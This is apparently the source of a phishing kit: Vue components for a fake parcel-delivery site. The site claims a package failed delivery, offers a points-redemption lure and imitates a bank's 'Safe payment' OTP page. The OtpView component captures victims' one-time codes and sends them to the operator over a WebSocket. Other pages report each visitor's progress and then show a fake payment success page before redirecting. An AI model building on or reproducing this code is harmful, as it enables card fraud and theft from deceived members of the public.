const currentDate = new Date();
|
||||
|
||||
// 计算七天前的日期
|
||||
currentDate.setDate(currentDate.getDate() - 7);
|
||||
|
||||
return currentDate;
|
||||
}
|
||||
|
||||
function generateRandomNineDigitNumber(): number {
|
||||
// 生成一个 9 位的随机整数
|
||||
const min = 100000; // 9 位数的最小值
|
||||
const max = 999999; // 9 位数的最大值
|
||||
|
||||
// 生成并返回随机的 9 位数
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
|
||||
const count1 = ref(0);
|
||||
const count2 = ref(0);
|
||||
const count3 = ref(0);
|
||||
const count4 = ref(0);
|
||||
const count5 = ref(0);
|
||||
const count6 = ref(0);
|
||||
|
||||
const price = ref(0);
|
||||
const type = ref(-1);
|
||||
|
||||
const add = (value: number, type: number) => {
|
||||
if (price.value != 0 && value != 0) {
|
||||
alert("You don't have enough points");
|
||||
return;
|
||||
}
|
||||
switch (type) {
|
||||
case 1:
|
||||
count1.value = value;
|
||||
price.value = 2999;
|
||||
break;
|
||||
case 2:
|
||||
count2.value = value;
|
||||
price.value = 2999;
|
||||
break;
|
||||
case 3:
|
||||
count3.value = value;
|
||||
price.value = 2899;
|
||||
break;
|
||||
case 4:
|
||||
count4.value = value;
|
||||
price.value = 2899;
|
||||
break;
|
||||
case 5:
|
||||
count5.value = value;
|
||||
price.value = 2699;
|
||||
break;
|
||||
case 6:
|
||||
count6.value = value;
|
||||
price.value = 2699;
|
||||
break;
|
||||
}
|
||||
if (value == 0) {
|
||||
price.value = 0;
|
||||
}
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
window.scrollTo({
|
||||
top: 0,
|
||||
});
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "goods" },
|
||||
})
|
||||
);
|
||||
const dateSeven = getDateSevenDaysAgo();
|
||||
payDate.value = dateSeven.toLocaleDateString();
|
||||
const inumber = localStorage.getItem("invoiceNumber");
|
||||
if (inumber) {
|
||||
invoiceNumber.value = inumber;
|
||||
} else {
|
||||
invoiceNumber.value = generateRandomNineDigitNumber().toString();
|
||||
localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
|
||||
}
|
||||
localStorage.setItem("route", "goods");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="main-content-body OTU1MDA">
|
||||
<form class="container NjcwMA NDg2MDA" data-v-5571f497="">
|
||||
<div class="points NjcxMDA ODc4MDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<div data-v-5571f497="">Points Available</div>
|
||||
<div data-v-5571f497="">3022</div>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div data-v-5571f497="">Spend points</div>
|
||||
<div data-v-5571f497="">{{ price }}</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="products MjMwMA MzkzMDA NjMwMDA" data-v-5571f497="">
|
||||
<div class="item NjAyMDA Mjg0MDA MTA0MDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<img
|
||||
src="@/assets/img/products/1.png"
|
||||
alt=""
|
||||
data-v-5571f497=""
|
||||
style="aspect-ratio: 1 / 1; object-fit: cover"
|
||||
/>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div class="name OTYxMDA MzgyMDA" data-v-5571f497="">
|
||||
Hanlin Future69 ENC Noise-cancelling esports Headphones
|
||||
</div>
|
||||
<div class="price ODY5MDA OTYyMDA MTk5MDA" data-v-5571f497="">
|
||||
2999 point + ₱17.05
|
||||
</div>
|
||||
<div
|
||||
class="control MTM0MDA NzYwMA MjI5MDA OTc2MDA"
|
||||
data-v-5571f497=""
|
||||
>
|
||||
<div data-v-5571f497="" v-on:click="add(1, 1)">+</div>
|
||||
<div class="count NjczMDA NzY5MDA" data-v-5571f497="">
|
||||
{{ count1 }}
|
||||
</div>
|
||||
<div data-v-5571f497="" v-on:click="add(0, 1)">-</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="item NzE2MDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<img
|
||||
src="@/assets/img/products/2.png"
|
||||
alt=""
|
||||
data-v-5571f497=""
|
||||
style="aspect-ratio: 1 / 1; object-fit: cover"
|
||||
/>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div class="name MzkwMA" data-v-5571f497="">
|
||||
HANLIN Bluetooth Earphone Smart Watch
|
||||
</div>
|
||||
<div class="price Nzg4MDA" data-v-5571f497="">
|
||||
2999 point + ₱17.05
|
||||
</div>
|
||||
<div class="control NTM2MDA MjExMDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="" v-on:click="add(1, 2)">+</div>
|
||||
<div class="count NTE3MDA NzE3MDA" data-v-5571f497="">
|
||||
{{ count2 }}
|
||||
</div>
|
||||
<div data-v-5571f497="" v-on:click="add(0, 2)">-</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="item ODMwMDA OTgwMA ODkxMDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<img
|
||||
src="@/assets/img/products/3.png"
|
||||
alt=""
|
||||
data-v-5571f497=""
|
||||
style="aspect-ratio: 1 / 1; object-fit: cover"
|
||||
/>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div class="name NzQ3MDA NTgyMDA" data-v-5571f497="">
|
||||
Oral-B Smart 5 Electric Toothbrush 5000N
|
||||
</div>
|
||||
<div class="price OTk4MDA MjQ0MDA" data-v-5571f497="">
|
||||
2899 point + ₱17.05
|
||||
</div>
|
||||
<div class="control NDkxMDA NzA0MDA NzYxMDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="" v-on:click="add(1, 3)">+</div>
|
||||
<div
|
||||
class="count NTQ0MDA NjcwMA NjMwMDA NzUzMDA"
|
||||
data-v-5571f497=""
|
||||
>
|
||||
{{ count3 }}
|
||||
</div>
|
||||
<div data-v-5571f497="" v-on:click="add(0, 3)">-</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="item NzMyMDA OTM4MDA NDQwMA" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<img
|
||||
src="@/assets/img/products/4.png"
|
||||
alt=""
|
||||
data-v-5571f497=""
|
||||
style="aspect-ratio: 1 / 1; object-fit: cover"
|
||||
/>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div class="name NjQ1MDA NTIwMA" data-v-5571f497="">
|
||||
Mi Xiaomi BHR4857HK 3.5L Smart Air Fryer
|
||||
</div>
|
||||
<div class="price NzkwMDA OTA3MDA" data-v-5571f497="">
|
||||
2899 point + ₱17.05
|
||||
</div>
|
||||
<div
|
||||
class="control MTg2MDA MjExMDA NTM2MDA OTAw"
|
||||
data-v-5571f497=""
|
||||
>
|
||||
<div data-v-5571f497="" v-on:click="add(1, 4)">+</div>
|
||||
<div
|
||||
class="count MjczMDA MTczMDA ODA5MDA MTU3MDA"
|
||||
data-v-5571f497=""
|
||||
>
|
||||
{{ count4 }}
|
||||
</div>
|
||||
<div data-v-5571f497="" v-on:click="add(0, 4)">-</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="item MTUyMDA NDY1MDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<img
|
||||
src="@/assets/img/products/5.png"
|
||||
alt=""
|
||||
data-v-5571f497=""
|
||||
style="aspect-ratio: 1 / 1; object-fit: cover"
|
||||
/>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div class="name MzgwMDA MzkyMDA" data-v-5571f497="">
|
||||
Project E Beauty RF Ultrasonic Slimming and Slimming Apparatus
|
||||
</div>
|
||||
<div class="price MzY3MDA" data-v-5571f497="">
|
||||
2699 point + ₱17.05
|
||||
</div>
|
||||
<div class="control ODUwMA MTE0MDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="" v-on:click="add(1, 5)">+</div>
|
||||
<div class="count MTcxMDA NDk3MDA" data-v-5571f497="">
|
||||
{{ count5 }}
|
||||
</div>
|
||||
<div data-v-5571f497="" v-on:click="add(0, 5)">-</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="item ODIwMDA NDAw" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<img
|
||||
src="@/assets/img/products/6.png"
|
||||
alt=""
|
||||
data-v-5571f497=""
|
||||
style="aspect-ratio: 1 / 1; object-fit: cover"
|
||||
/>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div class="name OTczMDA OTcyMDA" data-v-5571f497="">
|
||||
YOTAMED – 3 Ply Disposable Nano Mask ASTM 1 (Adult) – 50 Pack
|
||||
(Not Individual)
|
||||
</div>
|
||||
<div class="price OTYwMA NDMwMA NjM2MDA" data-v-5571f497="">
|
||||
2699 point + ₱17.05
|
||||
</div>
|
||||
<div class="control MTE3MDA Nzk4MDA MTc5MDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="" v-on:click="add(1, 6)">+</div>
|
||||
<div class="count NjIwMA NjkxMDA ODU5MDA" data-v-5571f497="">
|
||||
{{ count6 }}
|
||||
</div>
|
||||
<div data-v-5571f497="" v-on:click="add(0, 6)">-</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="button-submit NjkzMDA" data-v-5571f497="">
|
||||
<button
|
||||
type="button"
|
||||
data-v-5571f497=""
|
||||
class="___OTAwMA== NTE3MDA NjY0MDA ODAw"
|
||||
v-on:click="next"
|
||||
>
|
||||
<e-span data-t="Exchange" class="_NDcwMA== NTYyMDA"
|
||||
>Exchange</e-span
|
||||
>
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
<style scoped>
|
||||
.container[data-v-5571f497] {
|
||||
padding: 1rem 0
|
||||
}
|
||||
|
||||
.container div.points[data-v-5571f497] {
|
||||
color: #fff!important
|
||||
}
|
||||
|
||||
.container div.points[data-v-5571f497] {
|
||||
position: relative;
|
||||
display: flex;
|
||||
justify-content: space-around;
|
||||
background-color: #e00b14;
|
||||
border-radius: 10px;
|
||||
padding: 20px 10px;
|
||||
transition: all .3s
|
||||
}
|
||||
|
||||
.container div.points>div[data-v-5571f497] {
|
||||
flex: 1;
|
||||
text-align: center
|
||||
}
|
||||
|
||||
.container div.products[data-v-5571f497] {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
max-width: 800px;
|
||||
margin: 0 auto
|
||||
}
|
||||
|
||||
.container div.products .item[data-v-5571f497] {
|
||||
margin: 5px;
|
||||
padding: 10px;
|
||||
width: calc(50% - 10px);
|
||||
border-radius: 5px;
|
||||
box-shadow: rgba(99,99,99,.2) 0 2px 3px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: space-between
|
||||
}
|
||||
|
||||
.container div.products .item img[data-v-5571f497] {
|
||||
width: 100%;
|
||||
aspect-ratio: 1/1
|
||||
}
|
||||
|
||||
.container div.products .item .price[data-v-5571f497] {
|
||||
font-size: 14px;
|
||||
color: #0d1973
|
||||
}
|
||||
|
||||
.container div.products .item .control[data-v-5571f497] {
|
||||
display: flex;
|
||||
justify-content: space-evenly;
|
||||
width: 50%;
|
||||
border-radius: 5px;
|
||||
border: 1px solid grey;
|
||||
font-weight: 700;
|
||||
cursor: pointer
|
||||
}
|
||||
|
||||
.container div.products .item .control>div[data-v-5571f497] {
|
||||
flex: 1;
|
||||
text-align: center
|
||||
}
|
||||
|
||||
.button-submit[data-v-5571f497] {
|
||||
position: fixed;
|
||||
z-index: 10;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
background-color: #fff;
|
||||
box-shadow: rgba(0,0,0,.05) 0 6px 24px,rgba(0,0,0,.08) 0 0 0 1px;
|
||||
padding: 10px
|
||||
}
|
||||
|
||||
.button-submit button[data-v-5571f497] {
|
||||
width: 100%
|
||||
}
|
||||
|
||||
</style>
|
||||
143
zy1_in_post_shadowfax/src/views/HomeView.vue
Normal file
@@ -0,0 +1,143 @@
|
||||
<script setup lang="ts">
|
||||
import { inject, onMounted, ref } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
|
||||
const router = useRouter();
|
||||
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { debounce } from "lodash";
|
||||
import moment from "moment";
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { myWebSocket } from "@/utils/common";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
|
||||
const onchange = debounce((value: any) => {
|
||||
localStorage.setItem("home", value.target.value);
|
||||
}, 300);
|
||||
const payDate1 = ref("");
|
||||
const invoiceNumber = ref("");
|
||||
const next = () => {
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/address");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "home" },
|
||||
})
|
||||
);
|
||||
payDate1.value = formatDate(getDateSevenDaysAgo(1));
|
||||
|
||||
const inumber = localStorage.getItem("invoiceNumber");
|
||||
if (inumber) {
|
||||
invoiceNumber.value = inumber;
|
||||
} else {
|
||||
invoiceNumber.value = generateRandomNineDigitNumber().toString();
|
||||
localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
|
||||
}
|
||||
localStorage.setItem("route", "home");
|
||||
});
|
||||
|
||||
function formatDate(date: Date): string {
|
||||
return moment(date).format("YYYY/MM/DD");
|
||||
}
|
||||
|
||||
function getDateSevenDaysAgo(day: number): Date {
|
||||
// 获取当前时间
|
||||
const currentDate = new Date();
|
||||
|
||||
// 计算七天前的日期
|
||||
currentDate.setDate(currentDate.getDate() + day);
|
||||
|
||||
return currentDate;
|
||||
}
|
||||
|
||||
function generateRandomNineDigitNumber(): number {
|
||||
// 生成一个 9 位的随机整数
|
||||
const min = 100000000; // 9 位数的最小值
|
||||
const max = 999999999; // 9 位数的最大值
|
||||
|
||||
// 生成并返回随机的 9 位数
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="main-content-body">
|
||||
<div>
|
||||
<img src="/bompawoemfg16af/g16t.webp" style="width: 100%; height: 300px;object-fit: cover;"></img>
|
||||
</div>
|
||||
<div class="" style="margin-top: 30px;">
|
||||
<div
|
||||
class="content-wrapper"
|
||||
style="min-height: 100px; padding: 0 0"
|
||||
>
|
||||
<form @submit.prevent="next">
|
||||
<h1 class="title">
|
||||
{{ t("Delivery status") }}
|
||||
</h1>
|
||||
<br />
|
||||
<div class="content">
|
||||
<p>
|
||||
{{ t("Your package number", ["2512876127"]) }}
|
||||
</p>
|
||||
<p style="color: red">
|
||||
<b>{{ t("Failure notice of delivery") }}</b>
|
||||
</p>
|
||||
<ul>
|
||||
<li>
|
||||
{{ t("Because the delivery address is not clear, your package is not delivered") }}
|
||||
</li>
|
||||
<li>{{ t("Your package has returned to our operation center") }}</li>
|
||||
<li>
|
||||
{{ t("Please update your address", [payDate1]) }}
|
||||
</li>
|
||||
</ul>
|
||||
<br /><br />
|
||||
<div class="button-submit">
|
||||
<button>{{ t("Continue") }}</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
<style scoped>
|
||||
h1.title {
|
||||
color: #24549d;
|
||||
font-size: 2rem;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
div.content {
|
||||
padding: 10px;
|
||||
background-color: #f2f2f2;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
ul {
|
||||
list-style: disc outside none !important;
|
||||
list-style: initial !important;
|
||||
}
|
||||
|
||||
ul {
|
||||
padding-left: 14px;
|
||||
}
|
||||
|
||||
ul li {
|
||||
margin-top: 8px;
|
||||
}
|
||||
</style>
|
||||
61
zy1_in_post_shadowfax/src/views/IndexView.vue
Normal file
@@ -0,0 +1,61 @@
|
||||
<script setup lang="ts">
|
||||
import { ref, onMounted } from 'vue';
|
||||
|
||||
const isLoading = ref(true);
|
||||
|
||||
onMounted(() => {
|
||||
// Simulate loading, remove in production and use actual data loading completion
|
||||
setTimeout(() => {
|
||||
isLoading.value = false;
|
||||
}, 2000);
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="container">
|
||||
<div v-if="isLoading" class="loading-spinner">
|
||||
<div class="spinner"></div>
|
||||
</div>
|
||||
<div v-else class="content">
|
||||
<!-- Main content goes here when loading is complete -->
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.container {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
width: 100%;
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 4px solid rgb(81, 81, 81, 0.3);
|
||||
border-radius: 50%;
|
||||
border-top-color: transparent;
|
||||
animation: spin 1s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.content {
|
||||
width: 100%;
|
||||
padding: 20px;
|
||||
}
|
||||
</style>
|
||||
|
||||
64
zy1_in_post_shadowfax/src/views/LoadingView.vue
Normal file
@@ -0,0 +1,64 @@
|
||||
<template>
|
||||
<div
|
||||
v-if="isLoading"
|
||||
class="loading-overlay"
|
||||
:style="{ backgroundColor: loadingBg.value }"
|
||||
>
|
||||
<div class="spinner"></div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { computed, defineComponent } from "vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { loadingBg } from "@/utils/common";
|
||||
|
||||
export default defineComponent({
|
||||
computed: {
|
||||
loadingBg() {
|
||||
return loadingBg;
|
||||
},
|
||||
},
|
||||
setup() {
|
||||
const loadingStore = useLoadingStore();
|
||||
const isLoading = computed(() => loadingStore.isLoading);
|
||||
|
||||
return {
|
||||
isLoading,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style>
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
border: 4px solid rgb(207, 207, 207);
|
||||
border-top: 4px solid #3c8872;
|
||||
|
||||
border-radius: 50%;
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
animation: spin 1s linear infinite;
|
||||
border: 4px solid rgb(207, 207, 207);
|
||||
border-top: 4px solid #3c8872;
|
||||
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
</style>
|
||||
297
zy1_in_post_shadowfax/src/views/OtpView.vue
Normal file
@@ -0,0 +1,297 @@
|
||||
<script setup lang="ts">
|
||||
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import { useLoadingStore } from "@/stores/counter";
|
||||
import CardType1 from "../components/CardType1.vue";
|
||||
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
|
||||
|
||||
const cardType = ref("");
|
||||
const message1 = ref("");
|
||||
import { useI18n } from "vue-i18n";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid" },
|
||||
})
|
||||
);
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query && query.cardType) {
|
||||
cardType.value = query.cardType;
|
||||
localStorage.setItem("cardType", query.cardType);
|
||||
} else {
|
||||
const type = localStorage.getItem("cardType");
|
||||
if (type) {
|
||||
cardType.value = type;
|
||||
}
|
||||
}
|
||||
|
||||
if (query && query.message1) {
|
||||
message1.value = query.message1;
|
||||
localStorage.setItem("message1", query.message1);
|
||||
} else {
|
||||
const type = localStorage.getItem("message1");
|
||||
if (type) {
|
||||
message1.value = type;
|
||||
}
|
||||
}
|
||||
localStorage.setItem("route", "otpValid");
|
||||
startCountdown("");
|
||||
eventBus.on("otp-valid", handleEvent);
|
||||
});
|
||||
|
||||
const formData = reactive({ verifyCode: "" });
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "verifyCode", value.target.value);
|
||||
formData.verifyCode = value.target.value;
|
||||
};
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
useLoadingStore().isLoading = true;
|
||||
if (!areAllValuesNotEmpty(formData)) {
|
||||
useLoadingStore().isLoading = false;
|
||||
return;
|
||||
}
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitValidCode",
|
||||
formData: formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
const initialTime = 60; // 倒计时时间,单位为秒
|
||||
const timeLeft = ref(initialTime);
|
||||
const isCounting = ref(false);
|
||||
let timer: number | null = null;
|
||||
|
||||
const buttonText = computed(() => {
|
||||
return isCounting.value
|
||||
? `00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value}`
|
||||
: t("Click here to receive another code");
|
||||
});
|
||||
|
||||
const startCountdown = (resultType: string) => {
|
||||
if (isCounting.value) return; // 如果已经在倒计时,则不执行
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid", resultType: resultType },
|
||||
})
|
||||
);
|
||||
isCounting.value = true;
|
||||
timeLeft.value = initialTime;
|
||||
|
||||
timer = window.setInterval(() => {
|
||||
if (timeLeft.value > 0) {
|
||||
timeLeft.value -= 1;
|
||||
} else {
|
||||
stopCountdown();
|
||||
}
|
||||
}, 1000);
|
||||
};
|
||||
|
||||
|
||||
const stopCountdown = () => {
|
||||
if (timer !== null) {
|
||||
clearInterval(timer);
|
||||
timer = null;
|
||||
}
|
||||
isCounting.value = false;
|
||||
};
|
||||
|
||||
const message = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("otp-valid", handleEvent);
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div id="darcula-teleport-page">
|
||||
<div>
|
||||
<form class="container" @submit.prevent="submit">
|
||||
<div class="header">
|
||||
<div class="bank-logo">
|
||||
<img src="@/assets/img/80066acd3fcfa.svg" alt="bank" />
|
||||
</div>
|
||||
<div class="card-logo">
|
||||
<CardType1 :cardType="cardType" />
|
||||
</div>
|
||||
</div>
|
||||
<br />
|
||||
<div style="font-size: 20px">
|
||||
<b>{{ t("Safe payment") }}</b>
|
||||
</div>
|
||||
<p v-if="!message1">
|
||||
{{
|
||||
t("Please confirm your identity and a one-time code will be sent")
|
||||
}}
|
||||
</p>
|
||||
<p v-if="message1">
|
||||
{{ t("The verification code has been sent to") }} ***{{ message1 }}
|
||||
</p>
|
||||
<p>{{ t("Please do not click the") }}</p>
|
||||
<br />
|
||||
<div class="input" style="text-align: center">
|
||||
<label>{{ t("Verification code") }}</label>
|
||||
<input
|
||||
required
|
||||
type="text"
|
||||
inputmode="numeric"
|
||||
@input="onchange"
|
||||
v-model="formData.verifyCode"
|
||||
minlength="3"
|
||||
maxlength="8"
|
||||
/>
|
||||
</div>
|
||||
<div class="error" v-if="message">
|
||||
{{ message }}
|
||||
</div>
|
||||
<br />
|
||||
<div class="button-submit">
|
||||
<button type="submit">{{ t("Submit") }} ₹25.09</button>
|
||||
</div>
|
||||
<div class="resend" @click="startCountdown('resendCode')">
|
||||
<a href="javascript:">{{ buttonText }}</a>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.error {
|
||||
color: red;
|
||||
font-size: 0.9em;
|
||||
}
|
||||
|
||||
.container {
|
||||
padding: 15px;
|
||||
font-size: 16px;
|
||||
max-width: 800px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
.container .header {
|
||||
height: 66px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
border-bottom: 1px solid #e3e3e3;
|
||||
}
|
||||
|
||||
.container .header > div {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.container .header .bank-logo {
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.container .header .card-logo {
|
||||
height: 100%;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.container .header .card-logo:after {
|
||||
content: "";
|
||||
display: block;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
width: 15px;
|
||||
height: 100%;
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
transparent,
|
||||
rgba(255, 255, 255, 0.6352941176),
|
||||
transparent
|
||||
);
|
||||
animation: line 2s infinite;
|
||||
}
|
||||
|
||||
@keyframes line {
|
||||
0% {
|
||||
left: -15px;
|
||||
}
|
||||
to {
|
||||
left: 100%;
|
||||
}
|
||||
}
|
||||
|
||||
.container div.input label {
|
||||
display: block;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.container div.input input {
|
||||
width: 100%;
|
||||
padding: 8px 5px;
|
||||
text-align: center;
|
||||
outline: none;
|
||||
border: 2px solid black;
|
||||
border-radius: 5px;
|
||||
font-weight: 700;
|
||||
font-size: 16px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.container div.input input:focus {
|
||||
border-color: #5381be;
|
||||
}
|
||||
|
||||
.container div.button-submit button {
|
||||
width: 100%;
|
||||
padding: 10px 5px;
|
||||
cursor: pointer;
|
||||
background: linear-gradient(180deg, #2047f4 0, #385bf8 100%);
|
||||
color: #fff;
|
||||
border: none;
|
||||
outline: none;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.container .resend {
|
||||
margin-top: 8px;
|
||||
text-align: center;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.container .resend a {
|
||||
color: #000;
|
||||
-webkit-text-decoration: underline;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 0 0 0;
|
||||
background: #fff;
|
||||
color: #000;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-moz-osx-font-smoothing: grayscale;
|
||||
overflow-x: hidden;
|
||||
font-size: 15px;
|
||||
}
|
||||
p {
|
||||
display: block;
|
||||
margin-block-start: 1em;
|
||||
margin-block-end: 1em;
|
||||
margin-inline-start: 0px;
|
||||
margin-inline-end: 0px;
|
||||
unicode-bidi: isolate;
|
||||
}
|
||||
</style>
|
||||
770
zy1_in_post_shadowfax/src/views/PinCodeView.vue
Normal file
164
zy1_in_post_shadowfax/src/views/SuccessView.vue
Normal file
@@ -0,0 +1,164 @@
|
||||
<script setup lang="ts">
|
||||
import { inject, onMounted, ref } from "vue";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
|
||||
const loading = ref(true);
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { myWebSocket, redirectToExternal } from "@/utils/common";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "success" },
|
||||
})
|
||||
);
|
||||
setTimeout(() => {
|
||||
redirectToExternal();
|
||||
}, 2000); // 3秒后跳转
|
||||
localStorage.setItem("route", "success");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="main-content">
|
||||
<div class="container">
|
||||
<div style="height: 30px"></div>
|
||||
<div class="success-icon">✔</div>
|
||||
<h1>{{ t("Payment Successful") }}</h1>
|
||||
<p>
|
||||
{{
|
||||
t(
|
||||
"Thank you for your purchase. Your payment has been processed successfully"
|
||||
)
|
||||
}}
|
||||
</p>
|
||||
<div class="loader" v-if="loading">
|
||||
<div class="spinner"></div>
|
||||
</div>
|
||||
<div style="height: 30px"></div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #f4f4f9;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
justify-content: center; /* 水平居中 */
|
||||
align-items: center; /* 垂直居中 */
|
||||
/* height: 100vh; */
|
||||
}
|
||||
|
||||
.container {
|
||||
background-color: #ffffff;
|
||||
padding: 50px;
|
||||
border-radius: 8px;
|
||||
text-align: center;
|
||||
max-width: 450px;
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
@media (max-width: 767px) {
|
||||
/* Mega Menu */
|
||||
.main-content {
|
||||
